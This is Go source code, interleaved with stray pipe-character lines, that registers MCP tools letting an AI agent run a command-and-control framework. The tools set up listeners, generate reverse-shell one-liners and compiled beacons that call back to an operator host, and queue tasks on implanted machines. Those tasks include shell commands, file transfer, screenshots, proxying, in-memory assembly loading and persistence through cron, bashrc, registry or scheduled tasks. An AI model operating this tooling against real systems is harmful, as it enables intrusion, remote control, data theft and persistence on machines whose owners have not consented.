}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
action := getString(params, "action")
|
||||||
|
id := getString(params, "listener_id")
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "list":
|
||||||
|
listeners, err := m.DB().ListC2ListenersForAccess(c2ToolAccess(ctx), mcpEffectiveProjectFilter(ctx, m.DB()))
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
for _, li := range listeners {
|
||||||
|
li.EncryptionKey = ""
|
||||||
|
li.ImplantToken = ""
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{"listeners": listeners, "count": len(listeners)}, nil)
|
||||||
|
|
||||||
|
case "get":
|
||||||
|
listener, err := m.DB().GetC2Listener(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if listener == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||||
|
}
|
||||||
|
listener.EncryptionKey = ""
|
||||||
|
listener.ImplantToken = ""
|
||||||
|
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||||
|
|
||||||
|
case "create":
|
||||||
|
var cfg *c2.ListenerConfig
|
||||||
|
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
|
||||||
|
cfgBytes, _ := json.Marshal(cfgRaw)
|
||||||
|
cfg = &c2.ListenerConfig{}
|
||||||
|
_ = json.Unmarshal(cfgBytes, cfg)
|
||||||
|
}
|
||||||
|
projectID := strings.TrimSpace(getString(params, "project_id"))
|
||||||
|
if projectID == "" {
|
||||||
|
projectID = mcpEffectiveProjectFilter(ctx, m.DB())
|
||||||
|
if projectID == database.ProjectFilterUnbound {
|
||||||
|
projectID = ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
input := c2.CreateListenerInput{
|
||||||
|
Name: getString(params, "name"),
|
||||||
|
Type: getString(params, "type"),
|
||||||
|
BindHost: getString(params, "bind_host"),
|
||||||
|
BindPort: int(getFloat64(params, "bind_port")),
|
||||||
|
ProfileID: getString(params, "profile_id"),
|
||||||
|
Remark: getString(params, "remark"),
|
||||||
|
ProjectID: projectID,
|
||||||
|
Config: cfg,
|
||||||
|
CallbackHost: getString(params, "callback_host"),
|
||||||
|
}
|
||||||
|
listener, err := m.CreateListener(input)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
|
_ = m.DB().SetResourceOwner("c2_listener", listener.ID, principal.UserID)
|
||||||
|
_ = m.DB().AssignResourceToUser(principal.UserID, "c2_listener", listener.ID)
|
||||||
|
}
|
||||||
|
implantToken := listener.ImplantToken
|
||||||
|
listener.EncryptionKey = ""
|
||||||
|
listener.ImplantToken = ""
|
||||||
|
return makeC2Result(map[string]interface{}{
|
||||||
|
"listener": listener,
|
||||||
|
"implant_token": implantToken,
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
case "update":
|
||||||
|
listener, err := m.DB().GetC2Listener(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if listener == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||||
|
}
|
||||||
|
if m.IsListenerRunning(id) {
|
||||||
|
newHost := getString(params, "bind_host")
|
||||||
|
newPort := int(getFloat64(params, "bind_port"))
|
||||||
|
if (newHost != "" && newHost != listener.BindHost) || (newPort > 0 && newPort != listener.BindPort) {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("cannot modify bind address while listener is running"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if v := getString(params, "name"); v != "" {
|
||||||
|
listener.Name = v
|
||||||
|
}
|
||||||
|
if v := getString(params, "bind_host"); v != "" {
|
||||||
|
listener.BindHost = v
|
||||||
|
}
|
||||||
|
if v := int(getFloat64(params, "bind_port")); v > 0 {
|
||||||
|
listener.BindPort = v
|
||||||
|
}
|
||||||
|
if v := getString(params, "profile_id"); v != "" {
|
||||||
|
listener.ProfileID = v
|
||||||
|
}
|
||||||
|
if v, ok := params["remark"]; ok {
|
||||||
|
listener.Remark, _ = v.(string)
|
||||||
|
}
|
||||||
|
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
|
||||||
|
cfgBytes, _ := json.Marshal(cfgRaw)
|
||||||
|
listener.ConfigJSON = string(cfgBytes)
|
||||||
|
}
|
||||||
|
if _, ok := params["callback_host"]; ok {
|
||||||
|
pcfg := &c2.ListenerConfig{}
|
||||||
|
raw := strings.TrimSpace(listener.ConfigJSON)
|
||||||
|
if raw == "" {
|
||||||
|
raw = "{}"
|
||||||
|
}
|
||||||
|
_ = json.Unmarshal([]byte(raw), pcfg)
|
||||||
|
pcfg.CallbackHost = strings.TrimSpace(getString(params, "callback_host"))
|
||||||
|
pcfg.ApplyDefaults()
|
||||||
|
cfgBytes, err := json.Marshal(pcfg)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
listener.ConfigJSON = string(cfgBytes)
|
||||||
|
}
|
||||||
|
if err := m.DB().UpdateC2Listener(listener); err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
listener.EncryptionKey = ""
|
||||||
|
listener.ImplantToken = ""
|
||||||
|
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||||
|
|
||||||
|
case "start":
|
||||||
|
listener, err := m.StartListener(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
listener.EncryptionKey = ""
|
||||||
|
listener.ImplantToken = ""
|
||||||
|
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||||
|
|
||||||
|
case "stop":
|
||||||
|
err := m.StopListener(id)
|
||||||
|
return makeC2Result(map[string]interface{}{"stopped": err == nil}, err)
|
||||||
|
|
||||||
|
case "delete":
|
||||||
|
err := m.DeleteListener(id)
|
||||||
|
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_session — 会话统一工具
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2Session,
|
||||||
|
Description: `C2 会话管理。通过 action 参数选择操作:
|
||||||
|
- list: 列出会话(可按 listener_id/status/os/search/suspicious 过滤)
|
||||||
|
- get: 获取会话详情及最近任务历史(需 session_id)
|
||||||
|
- set_sleep: 设置心跳间隔(需 session_id)
|
||||||
|
- kill: 下发 exit 任务让 implant 退出(需 session_id)
|
||||||
|
- delete: 删除单个会话记录(需 session_id)
|
||||||
|
- delete_batch: 批量删除会话(需 session_ids 数组)`,
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete/delete_batch", "enum": []string{"list", "get", "set_sleep", "kill", "delete", "delete_batch"}},
|
||||||
|
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(get/set_sleep/kill/delete 需要)"},
|
||||||
|
"session_ids": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "会话 ID 列表(delete_batch)"},
|
||||||
|
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list)"},
|
||||||
|
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed(list)"},
|
||||||
|
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin(list)"},
|
||||||
|
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP(list)"},
|
||||||
|
"suspicious": map[string]interface{}{"type": "boolean", "description": "仅疑似误报:离线且 tcp_* / unknown / PID 0(list)"},
|
||||||
|
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||||
|
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep)"},
|
||||||
|
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100(set_sleep)"},
|
||||||
|
},
|
||||||
|
"required": []string{"action"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
action := getString(params, "action")
|
||||||
|
id := getString(params, "session_id")
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "list":
|
||||||
|
filter := database.ListC2SessionsFilter{
|
||||||
|
ListenerID: getString(params, "listener_id"),
|
||||||
|
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||||
|
Status: getString(params, "status"),
|
||||||
|
OS: getString(params, "os"),
|
||||||
|
Search: getString(params, "search"),
|
||||||
|
}
|
||||||
|
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||||
|
filter.Limit = limit
|
||||||
|
}
|
||||||
|
if v, ok := params["suspicious"].(bool); ok && v {
|
||||||
|
filter.Suspicious = true
|
||||||
|
}
|
||||||
|
sessions, err := m.DB().ListC2SessionsForAccess(filter, c2ToolAccess(ctx))
|
||||||
|
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
|
||||||
|
|
||||||
|
case "get":
|
||||||
|
session, err := m.DB().GetC2Session(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if session == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("session not found"))
|
||||||
|
}
|
||||||
|
tasks, _ := m.DB().ListC2Tasks(database.ListC2TasksFilter{SessionID: id, Limit: 10})
|
||||||
|
return makeC2Result(map[string]interface{}{"session": session, "tasks": tasks}, nil)
|
||||||
|
|
||||||
|
case "set_sleep":
|
||||||
|
sleep := int(getFloat64(params, "sleep_seconds"))
|
||||||
|
jitter := int(getFloat64(params, "jitter_percent"))
|
||||||
|
task, err := m.SetSessionSleep(id, sleep, jitter)
|
||||||
|
out := map[string]interface{}{
|
||||||
|
"updated": err == nil,
|
||||||
|
"sleep_seconds": sleep,
|
||||||
|
"jitter_percent": jitter,
|
||||||
|
}
|
||||||
|
if task != nil {
|
||||||
|
out["task_id"] = task.ID
|
||||||
|
}
|
||||||
|
return makeC2Result(out, err)
|
||||||
|
|
||||||
|
case "kill":
|
||||||
|
task, err := m.EnqueueTask(c2.EnqueueTaskInput{
|
||||||
|
SessionID: id,
|
||||||
|
TaskType: c2.TaskTypeExit,
|
||||||
|
Payload: map[string]interface{}{},
|
||||||
|
Source: "ai",
|
||||||
|
ConversationID: agent.ConversationIDFromContext(ctx),
|
||||||
|
UserCtx: ctx,
|
||||||
|
})
|
||||||
|
return makeC2Result(map[string]interface{}{"task": task}, err)
|
||||||
|
|
||||||
|
case "delete":
|
||||||
|
err := m.DB().DeleteC2Session(id)
|
||||||
|
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||||
|
|
||||||
|
case "delete_batch":
|
||||||
|
rawIDs, _ := params["session_ids"].([]interface{})
|
||||||
|
ids := make([]string, 0, len(rawIDs))
|
||||||
|
for _, v := range rawIDs {
|
||||||
|
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
|
||||||
|
ids = append(ids, strings.TrimSpace(s))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
n, err := m.DB().DeleteC2SessionsByIDs(ids)
|
||||||
|
return makeC2Result(map[string]interface{}{"deleted": n}, err)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_task — 任务下发统一工具(合并所有 task 类型)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2TaskTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2Task,
|
||||||
|
Description: `在 C2 会话上下发任务。所有任务类型通过 task_type 参数指定:
|
||||||
|
- exec: 执行命令(需 command)
|
||||||
|
- shell: 交互式命令,保持 cwd(需 command)
|
||||||
|
- pwd/ps/screenshot/socks_stop: 无额外参数
|
||||||
|
- cd/ls: 需 path
|
||||||
|
- kill_proc: 需 pid
|
||||||
|
- upload: 需 remote_path + file_id
|
||||||
|
- download: 需 remote_path
|
||||||
|
- port_fwd: 需 action(start/stop) + local_port + remote_host + remote_port
|
||||||
|
- socks_start: 需 port(默认 1080)
|
||||||
|
- load_assembly: 需 data(base64) 或 file_id,可选 args
|
||||||
|
- persist: 可选 method(auto/cron/bashrc/launchagent/registry/schtasks)
|
||||||
|
返回 task_id,用 c2_task_manage 的 wait/get_result 获取结果。`,
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"session_id": map[string]interface{}{"type": "string", "description": "C2 会话 ID(s_xxx)"},
|
||||||
|
"task_type": map[string]interface{}{"type": "string", "description": "任务类型", "enum": []string{"exec", "shell", "pwd", "cd", "ls", "ps", "kill_proc", "upload", "download", "screenshot", "port_fwd", "socks_start", "socks_stop", "load_assembly", "persist"}},
|
||||||
|
"command": map[string]interface{}{"type": "string", "description": "命令(exec/shell)"},
|
||||||
|
"path": map[string]interface{}{"type": "string", "description": "路径(cd/ls)"},
|
||||||
|
"pid": map[string]interface{}{"type": "integer", "description": "进程 ID(kill_proc)"},
|
||||||
|
"remote_path": map[string]interface{}{"type": "string", "description": "远程路径(upload/download)"},
|
||||||
|
"file_id": map[string]interface{}{"type": "string", "description": "服务端文件 ID(upload/load_assembly)"},
|
||||||
|
"data": map[string]interface{}{"type": "string", "description": "base64 数据(load_assembly)"},
|
||||||
|
"args": map[string]interface{}{"type": "string", "description": "命令行参数(load_assembly)"},
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "start/stop(port_fwd)"},
|
||||||
|
"local_port": map[string]interface{}{"type": "integer", "description": "本地端口(port_fwd)"},
|
||||||
|
"remote_host": map[string]interface{}{"type": "string", "description": "远程主机(port_fwd)"},
|
||||||
|
"remote_port": map[string]interface{}{"type": "integer", "description": "远程端口(port_fwd)"},
|
||||||
|
"port": map[string]interface{}{"type": "integer", "description": "SOCKS5 端口(socks_start),默认 1080"},
|
||||||
|
"method": map[string]interface{}{"type": "string", "description": "持久化方法(persist): auto/cron/bashrc/launchagent/registry/schtasks"},
|
||||||
|
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "超时秒数,默认 60"},
|
||||||
|
},
|
||||||
|
"required": []string{"session_id", "task_type"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
sessionID := getString(params, "session_id")
|
||||||
|
taskTypeStr := getString(params, "task_type")
|
||||||
|
taskType := c2.TaskType(taskTypeStr)
|
||||||
|
timeout := getFloat64(params, "timeout_seconds")
|
||||||
|
|
||||||
|
payload := map[string]interface{}{"timeout_seconds": timeout}
|
||||||
|
|
||||||
|
switch taskType {
|
||||||
|
case c2.TaskTypeExec, c2.TaskTypeShell:
|
||||||
|
payload["command"] = getString(params, "command")
|
||||||
|
case c2.TaskTypeCd, c2.TaskTypeLs:
|
||||||
|
payload["path"] = getString(params, "path")
|
||||||
|
case c2.TaskTypeKillProc:
|
||||||
|
payload["pid"] = params["pid"]
|
||||||
|
case c2.TaskTypeUpload:
|
||||||
|
payload["remote_path"] = getString(params, "remote_path")
|
||||||
|
payload["file_id"] = getString(params, "file_id")
|
||||||
|
case c2.TaskTypeDownload:
|
||||||
|
payload["remote_path"] = getString(params, "remote_path")
|
||||||
|
case c2.TaskTypePortFwd:
|
||||||
|
payload["action"] = getString(params, "action")
|
||||||
|
payload["local_port"] = params["local_port"]
|
||||||
|
payload["remote_host"] = getString(params, "remote_host")
|
||||||
|
payload["remote_port"] = params["remote_port"]
|
||||||
|
case c2.TaskTypeSocksStart:
|
||||||
|
payload["port"] = params["port"]
|
||||||
|
case c2.TaskTypeLoadAssembly:
|
||||||
|
payload["data"] = getString(params, "data")
|
||||||
|
payload["file_id"] = getString(params, "file_id")
|
||||||
|
payload["args"] = getString(params, "args")
|
||||||
|
case c2.TaskTypePersist:
|
||||||
|
payload["method"] = getString(params, "method")
|
||||||
|
case c2.TaskTypePwd, c2.TaskTypePs, c2.TaskTypeScreenshot, c2.TaskTypeSocksStop:
|
||||||
|
// no extra params
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unsupported task_type: %s", taskTypeStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
input := c2.EnqueueTaskInput{
|
||||||
|
SessionID: sessionID,
|
||||||
|
TaskType: taskType,
|
||||||
|
Payload: payload,
|
||||||
|
Source: "ai",
|
||||||
|
ConversationID: agent.ConversationIDFromContext(ctx),
|
||||||
|
UserCtx: ctx,
|
||||||
|
}
|
||||||
|
task, err := m.EnqueueTask(input)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{"task_id": task.ID, "status": task.Status}, nil)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_task_manage — 任务管理工具(查询/等待/取消)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2TaskManageTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2TaskManage,
|
||||||
|
Description: `C2 任务管理。通过 action 参数选择操作:
|
||||||
|
- get_result: 获取任务详情和结果(需 task_id)
|
||||||
|
- wait: 阻塞等待任务完成并返回结果(需 task_id)
|
||||||
|
- list: 列出任务(可按 session_id/status 过滤)
|
||||||
|
- cancel: 取消排队中的任务(需 task_id)`,
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "操作: get_result/wait/list/cancel", "enum": []string{"get_result", "wait", "list", "cancel"}},
|
||||||
|
"task_id": map[string]interface{}{"type": "string", "description": "任务 ID(get_result/wait/cancel 需要)"},
|
||||||
|
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤(list)"},
|
||||||
|
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: queued/sent/running/success/failed/cancelled(list)"},
|
||||||
|
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||||
|
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "等待超时秒数(wait),默认 60"},
|
||||||
|
},
|
||||||
|
"required": []string{"action"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
action := getString(params, "action")
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "get_result":
|
||||||
|
id := getString(params, "task_id")
|
||||||
|
task, err := m.DB().GetC2Task(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if task == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{"task": task}, nil)
|
||||||
|
|
||||||
|
case "wait":
|
||||||
|
id := getString(params, "task_id")
|
||||||
|
timeout := int(getFloat64(params, "timeout_seconds"))
|
||||||
|
if timeout <= 0 {
|
||||||
|
timeout = 60
|
||||||
|
}
|
||||||
|
deadline := time.Now().Add(time.Duration(timeout) * time.Second)
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
task, err := m.DB().GetC2Task(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if task == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||||
|
}
|
||||||
|
if task.Status == "success" || task.Status == "failed" || task.Status == "cancelled" {
|
||||||
|
return makeC2Result(map[string]interface{}{"task": task}, nil)
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-time.After(500 * time.Millisecond):
|
||||||
|
case <-ctx.Done():
|
||||||
|
return makeC2Result(nil, ctx.Err())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return makeC2Result(nil, fmt.Errorf("timeout waiting for task completion"))
|
||||||
|
|
||||||
|
case "list":
|
||||||
|
filter := database.ListC2TasksFilter{
|
||||||
|
SessionID: getString(params, "session_id"),
|
||||||
|
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||||
|
Status: getString(params, "status"),
|
||||||
|
}
|
||||||
|
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||||
|
filter.Limit = limit
|
||||||
|
}
|
||||||
|
tasks, err := m.DB().ListC2TasksForAccess(filter, c2ToolAccess(ctx))
|
||||||
|
return makeC2Result(map[string]interface{}{"tasks": tasks, "count": len(tasks)}, err)
|
||||||
|
|
||||||
|
case "cancel":
|
||||||
|
id := getString(params, "task_id")
|
||||||
|
err := m.CancelTask(id)
|
||||||
|
return makeC2Result(map[string]interface{}{"cancelled": err == nil}, err)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_payload — Payload 统一工具
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2Payload,
|
||||||
|
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
|
||||||
|
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
|
||||||
|
• tcp_reverse:默认仅支持 build 加密 Beacon;若监听器 config.allow_legacy_shell=true,才可用 kind: bash, nc, nc_mkfifo, python, perl, powershell。
|
||||||
|
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
|
||||||
|
• 公网部署 tcp_reverse 请用 build 生成加密 Beacon,勿开启 allow_legacy_shell。
|
||||||
|
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
|
||||||
|
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse(tcp_reverse 植入端回连后先发魔数 CSB1,再经 AES-GCM 解密且校验 ImplantToken 后才登记会话)。
|
||||||
|
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "操作: oneliner/build", "enum": []string{"oneliner", "build"}},
|
||||||
|
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(必填)。oneliner 前请确认该监听器的 type,再选兼容的 kind"},
|
||||||
|
"kind": map[string]interface{}{"type": "string", "description": "仅 action=oneliner 需要。tcp_reverse: bash|nc|nc_mkfifo|python|perl|powershell;http_beacon|https_beacon|websocket: 仅 curl_beacon"},
|
||||||
|
"host": map[string]interface{}{"type": "string", "description": "oneliner/build 可选覆盖:非空则强制用作植入回连主机。留空时顺序为:监听器 callback_host(create/update 的 callback_host 参数写入)→ bind_host(0.0.0.0 时尝试本机对外 IP 探测)"},
|
||||||
|
"os": map[string]interface{}{"type": "string", "description": "目标 OS(build): linux/windows/darwin", "default": "linux"},
|
||||||
|
"arch": map[string]interface{}{"type": "string", "description": "目标架构(build): amd64/arm64/386/arm", "default": "amd64"},
|
||||||
|
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "默认心跳间隔(build)"},
|
||||||
|
"jitter_percent": map[string]interface{}{"type": "integer", "description": "默认抖动百分比(build)"},
|
||||||
|
},
|
||||||
|
"required": []string{"action", "listener_id"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
action := getString(params, "action")
|
||||||
|
listenerID := getString(params, "listener_id")
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "oneliner":
|
||||||
|
listener, err := m.DB().GetC2Listener(listenerID)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if listener == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||||
|
}
|
||||||
|
host := c2.ResolveBeaconDialHost(listener, getString(params, "host"), l, listenerID)
|
||||||
|
kind := c2.OnelinerKind(getString(params, "kind"))
|
||||||
|
if kind == "" {
|
||||||
|
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||||
|
if len(compatible) > 0 {
|
||||||
|
kind = compatible[0]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !c2.IsOnelinerCompatible(listener.Type, kind) {
|
||||||
|
compatible := c2.OnelinerKindsForListener(listener.Type)
|
||||||
|
names := make([]string, len(compatible))
|
||||||
|
for i, k := range compatible {
|
||||||
|
names[i] = string(k)
|
||||||
|
}
|
||||||
|
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
|
||||||
|
}
|
||||||
|
if err := c2.ValidateOnelinerForListener(listener, kind); err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
input := c2.OnelinerInput{
|
||||||
|
Kind: kind,
|
||||||
|
Host: host,
|
||||||
|
Port: listener.BindPort,
|
||||||
|
HTTPBaseURL: fmt.Sprintf("http://%s:%d", host, listener.BindPort),
|
||||||
|
ImplantToken: listener.ImplantToken,
|
||||||
|
}
|
||||||
|
oneliner, err := c2.GenerateOneliner(input)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
out := map[string]interface{}{
|
||||||
|
"oneliner": oneliner, "kind": input.Kind, "host": host, "port": listener.BindPort,
|
||||||
|
}
|
||||||
|
if kind == c2.OnelinerCurl {
|
||||||
|
out["usage_note"] = "同步 exec/execute:整段原样执行(末尾须有「 &」)。去掉则 while 永不结束,工具会一直卡住。"
|
||||||
|
}
|
||||||
|
return makeC2Result(out, nil)
|
||||||
|
|
||||||
|
case "build":
|
||||||
|
builder := c2.NewPayloadBuilder(m, l, "", "")
|
||||||
|
input := c2.PayloadBuilderInput{
|
||||||
|
ListenerID: listenerID,
|
||||||
|
OS: getString(params, "os"),
|
||||||
|
Arch: getString(params, "arch"),
|
||||||
|
SleepSeconds: int(getFloat64(params, "sleep_seconds")),
|
||||||
|
JitterPercent: int(getFloat64(params, "jitter_percent")),
|
||||||
|
Host: strings.TrimSpace(getString(params, "host")),
|
||||||
|
}
|
||||||
|
result, err := builder.BuildBeacon(input)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
|
_ = m.DB().RecordC2PayloadArtifact(filepath.Base(result.OutputPath), result.PayloadID, result.ListenerID, principal.UserID)
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{
|
||||||
|
"payload_id": result.PayloadID, "download_path": result.DownloadPath,
|
||||||
|
"os": result.OS, "arch": result.Arch, "size_bytes": result.SizeBytes,
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_event — 事件查询工具
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2EventTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2Event,
|
||||||
|
Description: "获取 C2 事件(上线/掉线/任务/错误),支持按级别/类别/会话/任务/时间过滤",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"level": map[string]interface{}{"type": "string", "description": "级别过滤: info/warn/critical"},
|
||||||
|
"category": map[string]interface{}{"type": "string", "description": "类别过滤: listener/session/task/payload/opsec"},
|
||||||
|
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤"},
|
||||||
|
"task_id": map[string]interface{}{"type": "string", "description": "按任务过滤"},
|
||||||
|
"since": map[string]interface{}{"type": "string", "description": "起始时间(RFC3339 格式,如 2025-01-01T00:00:00Z)"},
|
||||||
|
"limit": map[string]interface{}{"type": "integer", "default": 50, "description": "返回数量"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
